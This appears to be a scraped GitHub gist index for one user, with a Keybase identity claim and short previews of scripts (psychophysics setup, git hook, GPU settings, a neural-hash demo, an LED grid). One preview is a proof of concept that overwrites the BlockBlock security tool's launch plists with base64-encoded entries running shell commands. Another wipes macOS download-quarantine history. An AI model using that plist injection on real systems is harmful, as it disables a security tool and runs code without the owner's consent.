I hereby claim:
- I am flipphillips on github.
- I am flipphillips (https://keybase.io/flipphillips) on keybase.
- I have a public key whose fingerprint is 9DCC 89AD E520 C857 DD6A 46CC 9473 6856 24EE 271D
To claim this, I am signing this object:
| # get subject information | |
| expInfo = {u'session': u'001', u'subject': u''} | |
| dlg = gui.DlgFromDict(dictionary=expInfo, title='Sweep Acuity') | |
| if dlg.OK == False: | |
| core.quit() # user pressed cancel | |
| expInfo['date'] = data.getDateStr() # add a simple timestamp | |
| # Setup files for saving | |
| if not os.path.isdir('data'): | |
| os.makedirs('data') # if this fails (e.g. permissions) we will get error |
I hereby claim:
To claim this, I am signing this object:
| #!/usr/bin/env bash | |
| # | |
| # a git hook - | |
| # it does the silly things with my version.json files so I can keep track of silly stuff | |
| # | |
| # bump version and go... | |
| VERSIONFILE="version.json" | |
| if [ -e ./version.json ]; then |
| GetObserverIP[ip_] := Module[{wx, ins, raw}, | |
| wx = Import["http://" <> ip <> "/livedata.htm", "XMLObject"]; | |
| ins = Cases[wx, XMLElement["input", _, _], Infinity]; | |
| raw = Flatten[ | |
| Map[{"name" -> "value"} /. #[[2]] &, ins[[1 ;; -6]]]]; | |
| Quiet[MapAt[ToExpression, | |
| MapAt[DateObject[#] &, raw, {1, 2}], {8 ;; -1, 2}]]] |
| #!/bin/bash | |
| echo "Before..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
| echo "Churning..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent' | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'vacuum LSQuarantineEvent' | |
| echo "After..." | |
| sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF | |
| echo "Done." |
| sudo nvidia-smi --power-limit=275 --id=0 | |
| sudo nvidia-smi --persistence-mode=1 --id=1 | |
| sudo nvidia-smi --persistence-mode=1 --id=0 |
| import tensorflow as tf #We need tensorflow 2.x | |
| import numpy as np | |
| #The hashlength in bits | |
| hashLength = 256 | |
| def buildModel(): | |
| #we can set the seed to simulate the fact that this network is known and doesn't change between runs | |
| #tf.random.set_seed(42) | |
| model = tf.keras.Sequential() |
| import pandas as pd | |
| import cv2 | |
| url = "https://en.wikipedia.org/wiki/List_of_common_resolutions" | |
| table = pd.read_html(url)[0] | |
| table.columns = table.columns.droplevel() | |
| cap = cv2.VideoCapture(0) | |
| resolutions = {} |
| # Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged) | |
| (> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist) | |
| # Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged) | |
| (> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW |
| // | |
| // LEDWallGrid - This script will create a grid of squares for an LED wall. | |
| // | |
| // Flip Phillips | |
| // Darren Alexander (from FidoLED) | |
| // | |
| // Winter 2024 | |
| // | |
| // (c) Darren Alexander 2015 | |
| // (c) Flip Phillips 2024 but released under the MIT license |